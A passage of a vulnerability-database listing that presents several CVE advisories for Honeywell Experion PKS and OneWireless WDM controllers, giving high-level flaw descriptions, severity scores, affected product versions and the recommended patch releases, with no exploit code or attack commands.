"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS \n\nand OneWireless WDM\n\ncontains a Deployment of Wrong Handler\n\n \n\nvulnerability \n\nin the component Control\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eData Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, \n\n which could result in incorrect handling of packets leading to remote code execution.\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cbr\u003e\u003cbr\u003e\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u003cbr\u003e\u003cbr\u003eThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u0026nbsp;The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\n\n\u003cbr\u003e\u003c/span\u003e"
}
],
"value": "The Honeywell Experion PKS \n\nand OneWireless WDM\n\ncontains a Deployment of Wrong Handler\n\n \n\nvulnerability \n\nin the component Control\u00a0Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to \n\nInput Data Manipulation, \n\n which could result in incorrect handling of packets leading to remote code execution.\n\n\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.\u00a0The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-153",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-153 Input Data Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-430",
"description": "CWE-430 Deployment of Wrong Handler",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:46:15.112Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Incorrect response generation during FTEB protocol processing",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-3946",
"datePublished": "2025-07-10T20:16:54.743Z",
"dateReserved": "2025-04-25T15:21:21.740Z",
"dateUpdated": "2025-08-04T19:46:15.112Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2523 (GCVE-0-2025-2523)
Vulnerability from cvelistv5 – Published: 2025-07-10 20:15 – Updated: 2025-08-04 19:45
VLAI
EPSS
VEX
Title
Lack of buffer clearing before reuse may result in incorrect system behavior.
Summary
The Honeywell Experion PKS
and OneWireless WDM
contains an Integer Underflow
vulnerability
in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in a failure during subtraction allowing remote code execution.
Honeywell recommends updating to the most recent version of
Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
9.4 (Critical)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:35 UTC
CWE
- CWE-191 - Integer Underflow (Wrap or Wraparound)
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2523",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:35:45.591675Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:35:53.232Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS \n\n and OneWireless WDM \n\ncontains an Integer Underflow \n\nvulnerability \n\nin the component Control\u0026nbsp;\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eData Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in a failure\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u0026nbsp;during subtraction allowing remote code execution.\u003c/span\u003e\u003c/span\u003e\n\n\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u003cbr\u003e\u003cbr\u003eHoneywell recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u003cbr\u003e\u003c/span\u003e\u003cbr\u003e\u003c/span\u003e\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\n\n\u003c/span\u003e\u003cbr\u003e"
}
],
"value": "The Honeywell Experion PKS \n\n and OneWireless WDM \n\ncontains an Integer Underflow \n\nvulnerability \n\nin the component Control\u00a0Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in a failure\u00a0during subtraction allowing remote code execution.\n\n\n\nHoneywell recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\n\n\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-216",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-216 Communication Channel Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "LOW",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-191",
"description": "CWE-191 Integer Underflow (Wrap or Wraparound)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:45:51.105Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Lack of buffer clearing before reuse may result in incorrect system behavior.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2523",
"datePublished": "2025-07-10T20:15:32.600Z",
"dateReserved": "2025-03-19T13:57:31.419Z",
"dateUpdated": "2025-08-04T19:45:51.105Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2522 (GCVE-0-2025-2522)
Vulnerability from cvelistv5 – Published: 2025-07-10 20:11 – Updated: 2025-08-04 19:45
VLAI
EPSS
VEX
Title
Lack of buffer clearing before reuse may result in incorrect system behavior.
Summary
The Honeywell Experion PKS and OneWireless WDM
contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.
Honeywell also recommends updating to the most recent version of
Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are
C300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before
520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:34 UTC
CWE
- CWE-226 - Sensitive Information in Resource Not Removed Before Reuse
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2522",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:34:00.516806Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:34:08.789Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "The Honeywell Experion PKS\u0026nbsp;and OneWireless WDM \n\n contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.\n\n\u003cp\u003eHoneywell also recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u0026nbsp;\u003c/p\u003e\u003cp\u003eThe affected Experion PKS products are \n\n\n\nC300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before \n\n520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\u003c/p\u003e"
}
],
"value": "The Honeywell Experion PKS\u00a0and OneWireless WDM \n\n contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.\n\nHoneywell also recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u00a0\n\nThe affected Experion PKS products are \n\n\n\nC300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before \n\n520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-216",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-216 Communication Channel Manipulation"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-226",
"description": "CWE-226 Sensitive Information in Resource Not Removed Before Reuse",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:45:13.439Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Lack of buffer clearing before reuse may result in incorrect system behavior.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2522",
"datePublished": "2025-07-10T20:11:43.603Z",
"dateReserved": "2025-03-19T13:57:30.424Z",
"dateUpdated": "2025-08-04T19:45:13.439Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2025-2521 (GCVE-0-2025-2521)
Vulnerability from cvelistv5 – Published: 2025-07-10 20:08 – Updated: 2025-08-04 19:44
VLAI
EPSS
VEX
Title
Lack of indexes’ validation against buffer borders leads to remote code execution.
Summary
The Honeywell Experion PKS and OneWireless WDM contains a Memory Buffer vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to an Overread Buffers, which could result in improper index validation against buffer borders leading to remote code execution.
Honeywell recommends updating to the most recent version of Honeywell Experion PKS:
520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
8.6 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-07-10 20:33 UTC
CWE
- CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://process.honeywell.com/ |
Impacted products
10 products
| Vendor | Product | Version | |
|---|---|---|---|
| Honeywell | C300 PCNT02 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300 PCNT05 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM4 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | FIM8 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | UOC |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | CN100 |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | HCA |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C300PM |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | C200E |
Affected:
520.1 , ≤ 520.2 TCU9
(semver)
Affected: 530 , ≤ 530 TCU3 (semver) |
|
| Honeywell | Wireless Device Manager |
Affected:
322.1 , ≤ 322.4
(semver)
Affected: 330.1 , ≤ 330.3 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-2521",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-07-10T20:33:41.946048Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-07-10T20:33:49.166Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT02",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300 PCNT05",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM4",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "FIM8",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "UOC",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "CN100",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "HCA",
